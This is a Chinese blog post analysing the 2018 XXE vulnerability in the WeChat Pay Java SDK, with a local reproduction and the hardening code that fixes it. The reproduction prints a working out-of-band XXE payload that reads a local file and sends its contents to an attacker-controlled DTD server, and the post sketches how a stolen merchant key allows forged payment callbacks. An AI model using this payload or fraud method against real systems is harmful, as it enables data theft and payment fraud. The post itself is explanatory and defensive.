谈谈微信支付曝出的漏洞

一、背景

昨天（2018-07-04）微信支付的SDK曝出重大漏洞（XXE漏洞），通过该漏洞，攻击者可以获取服务器中目录结构、文件内容，如代码、各种私钥等。获取这些信息以后，攻击者便可以为所欲为，其中就包括众多媒体所宣传的“0元也能买买买”。

漏洞报告地址；http://seclists.org/fulldisclosure/2018/Jul/3

二、漏洞原理

1. XXE漏洞

此次曝出的漏洞属于XXE漏洞，即XML外部实体注入（XML External Entity Injection）。

XML文档除了可以包含声明和元素以外，还可以包含文档类型定义（即DTD）；如下图所示。

在DTD中，可以引进实体，在解析XML时，实体将会被替换成相应的引用内容。该实体可以由外部引入(支持http、ftp等协议，后文以http为例说明)，如果通过该外部实体进行攻击，就是XXE攻击。

可以说，XXE漏洞之所以能够存在，本质上在于在解析XML的时候，可以与外部进行通信；当XML文档可以由攻击者任意构造时，攻击便成为可能。在利用XXE漏洞可以做的事情当中，最常见最容易实现的，便是读取服务器的信息，包括目录结构、文件内容等；本次微信支付爆出的漏洞便属于这一种。

2. 微信支付漏洞

本次漏洞影响的范围是：在微信支付异步回调接口中，使用微信支付SDK进行XML解析的应用。注意这里的SDK是服务器端的SDK，APP端使用SDK并不受影响。

SDK下载地址如下（目前微信官方宣传漏洞已修复）：https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

SDK中导致漏洞的代码是WXPayUtil工具类中的xmlToMap()方法：

如上图所示，由于在解析XML时没有对外部实体的访问做任何限制，如果攻击者恶意构造xml请求，便可以对服务器进行攻击。下面通过实例介绍攻击的方法。

3. 攻击复现

下面在本机环境下进行复现。

假设本地的web服务器127.0.0.1:8080中存在POST接口：/wxpay/callback，该接口中接收xml字符串做参数，并调用前述的WXPayUtil.xmlToMap(strXml)对xml参数进行解析。此外，/etc/password中存储了重要的密码数据（如password1234）。

攻击时构造的请求如下：

其中xml内容如下：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///etc/password">
    <!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd">
    %xxe;
]>

其中/etc/password为要窃取的对象，http://127.0.0.1:9000/xxe.dtd为攻击者服务器中的dtd文件，内容如下：

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>">
%shell;
%upload;

通过xml+dtd文件，攻击者便可以在服务器http://127.0.0.1:9000中收到如下请求：

http://127.0.0.1:9000/evil/password1234

这样，攻击者便得到了/etc/password文件的内容。

在本例中，攻击者窃取了/etc/password文件中的内容，实际上攻击者还可以获取服务器中的目录结构以及其他文件，只要启动web应用的用户具有相应的读权限。如果获取的信息比较复杂，如包含特殊符号，无法直接通过http的URL发送，则可以采用对文件内容进行Base64编码等方法解决。

三、漏洞的解决

解决该漏洞的原理非常简单，只要禁止解析XML时访问外部实体即可。

漏洞曝出以后，微信进行了紧急修复，一方面是更新了SDK，并提醒开发者使用最新的SDK；SDK中修复代码如下：

加入了如下两行代码：

documentBuilderFactory.setExpandEntityReferences(false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

更新：微信重新发表声明，上述2条语句无法禁止该漏洞，再次更新了官方SDK，加了以下语句：

documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
documentBuilderFactory.setXIncludeAware(false);
documentBuilderFactory.setExpandEntityReferences(false);

此外，微信官方也给出了关于XXE漏洞的最佳安全实践，可以参考：

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

笔者本人使用上述方案中建议的如下代码修复了该漏洞：

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
……

四、扩展与反思

1. 危害不只是“0元也能买买买”

在很多媒体的报道中，强调该漏洞的风险在于攻击者可以不支付也可以获得商品。确实，攻击者在通过上述漏洞获得微信支付的秘钥以后，有不止一种途径可以做到不支付就获得商品：例如，攻击者首先在系统中下单，获得商户订单号；然后便可以调用微信支付的异步回调，其中的签名参数便可以使用前面获取的秘钥对订单号等信息进行MD5获得；这样攻击者的异步回调就可以通过应用服务器的签名认证，从而获得商品。不过，在很多有一定规模的购物网站（或其他有支付功能的网站），会有对账系统，如定时将系统中的订单状态与微信、支付宝的后台对比，如果出现不一致可以及时报警并处理，因此该漏洞在这方面的影响可能并没有想象的那么大。

然而，除了“0元也能买买买”，攻击者可以做的事情还有很多很多；理论上来说，攻击者可能获得应用服务器上的目录结构、代码、数据、配置文件等，可以根据需要进行进一步破坏。

2. 漏洞不限于微信支付SDK

虽然微信支付曝出该漏洞受到了广泛关注，但该漏洞绝不仅仅存在于微信支付中：由于众多XML解析器默认不会禁用对外部实体的访问，因此应用的接口如果有以下几个特点就很容易掉进XXE漏洞的坑里：

（1）接口使用xml做请求参数

（2）接口对外公开，或容易获得：例如一些接口提供给外部客户调用，或者接口使用http很容易抓包，或者接口比较容易猜到(如微信支付的异步回调接口)

（3）接口中解析xml参数时，没有禁用对外部实体的访问

建议大家最好检查一下自己的应用中是否有类似的漏洞，及时修复。

3. xml与json

xml 与 json是系统间交互常用的两种数据格式，虽然很多情况下二者可以互换，但是笔者认为，json 作为更加轻量级更加纯粹的数据格式，更适合于系统间的交互；而xml，作为更加重量级更加复杂的数据格式，其 DTD 支持自定义文档类型，在更加复杂的配置场景下有着更好的效果，典型的场景如 spring 相关的配置。

4. 题外话：微信支付的签名认证

在前面曾经提到，应用中存储的秘钥一旦泄露，攻击者便可以完全绕过签名认证，这是因为微信支付使用的是对称式的签名认证：微信方和应用方，使用相同的秘钥对相同的明文进行MD5签名，只要应用方的秘钥泄露，签名认证就完全成了摆设。

在这方面支付宝的做法更规范也更安全：支付宝为应用生成公私钥对，公钥由应用方保存，私钥由支付宝保存；在回调时，支付宝使用私钥进行签名，应用方使用公钥进行验证；这样只要支付宝保存的私钥不泄露，攻击者只有公钥则难以通过签名认证。

参考文献